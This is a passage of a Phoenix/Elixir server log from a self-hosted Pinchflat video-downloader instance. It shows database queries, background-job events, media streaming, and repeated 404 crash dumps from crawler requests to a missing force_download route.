s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.891 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:27:51.891 [error] #PID<0.35791.0> running PinchflatWeb.Endpoint (connection #PID<0.35788.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/2/media/13020/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/13020/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13020/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35791.0>, params: %{}, path_info: ["sources", "2", "media", "13020", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/2/media/13020/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSR-XiUVpWgbsAEPMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13020/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/13020/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13020/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35791.0>, params: %{}, path_info: ["sources", "2", "media", "13020", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8lay (truncated) 15:27:52.930 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.198 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:22.931 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:52.932 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:55.758 [info] GET /media/5ca820e5-60e7-4f7c-8eb6-ba1c98f3c0a8/stream 15:28:55.758 [info] GET /media/e237fecf-c432-4aaa-a568-694479904356/stream 15:28:55.759 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e237fecf-c432-4aaa-a568-694479904356"} Pipelines: [:maybe_basic_auth] 15:28:55.759 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5ca820e5-60e7-4f7c-8eb6-ba1c98f3c0a8"} Pipelines: [:maybe_basic_auth] 15:28:55.760 [debug] QUERY OK source="media_items" db=0.5ms queue=0.4ms idle=1228.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5ca820e5-60e7-4f7c-8eb6-ba1c98f3c0a8"] 15:28:55.760 [debug] QUERY OK source="media_items" db=0.5ms queue=0.4ms idle=1228.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e237fecf-c432-4aaa-a568-694479904356"] 15:28:55.760 [debug] Invalid range request for media item: 5ca820e5-60e7-4f7c-8eb6-ba1c98f3c0a8 - serving full file 15:28:55.760 [debug] Invalid range request for media item: e237fecf-c432-4aaa-a568-694479904356 - serving full file 15:28:55.760 [info] Sent 200 in 1ms 15:28:55.760 [info] Sent 200 in 1ms 15:29:00.199 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:13.663 [info] GET /sources/3/media/13061/force_download 15:29:13.664 [debug] QUERY OK source="settings" db=0.1ms idle=1133.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:13.664 [debug] QUERY OK source="settings" db=0.0ms idle=261.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:13.664 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:29:13.665 [error] #PID<0.35804.0> running PinchflatWeb.Endpoint (connection #PID<0.35798.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/media/13061/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/13061/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/13061/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 45868}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35804.0>, params: %{}, path_info: ["sources", "3", "media", "13061", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/media/13061/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSWu_1N8YleI0AAFMD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/13061/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 45868}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/13061/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/13061/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 45868}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35804.0>, params: %{}, path_info: ["sources", "3", "media", "13061", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8lay (truncated) 15:29:13.997 [info] GET /sources/3/media/9353/force_download 15:29:13.998 [debug] QUERY OK source="settings" db=0.1ms idle=467.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:13.998 [debug] QUERY OK source="settings" db=0.1ms idle=467.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:13.998 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:29:13.999 [error] #PID<0.35805.0> running PinchflatWeb.Endpoint (connection #PID<0.35798.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/media/9353/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/9353/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/9353/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 45868}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35805.0>, params: %{}, path_info: ["sources", "3", "media", "9353", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/media/9353/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSWwPdNvhJKHQAAFOD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/9353/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 45868}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/9353/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/9353/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 45868}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35805.0>, params: %{}, path_info: ["sources", "3", "media", "9353", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"} (truncated) 15:29:22.933 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:26.929 [info] GET /sources/2/media/12518 15:29:26.930 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12518", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 15:29:26.930 [debug] QUERY OK source="media_items" db=0.2ms idle=1399.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 15:29:26.931 [debug] QUERY OK source="tasks" db=0.2ms idle=1400.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12518] 15:29:26.931 [debug] QUERY OK source="sources" db=0.3ms idle=1400.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:29:26.931 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=512.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1615, 1620, 1632, 1637, 1650, 1655, 1667, 1672, 1685, 1690, 1702, 1707, 1719, 1724, 1734] 15:29:26.932 [debug] QUERY OK source="settings" db=0.0ms idle=401.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:26.932 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:26.933 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:29:26.933 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:29:26.936 [info] Sent 200 in 6ms 15:29:26.986 [info] GET /sources/2/media/13020 15:29:26.986 [debug] Processing with 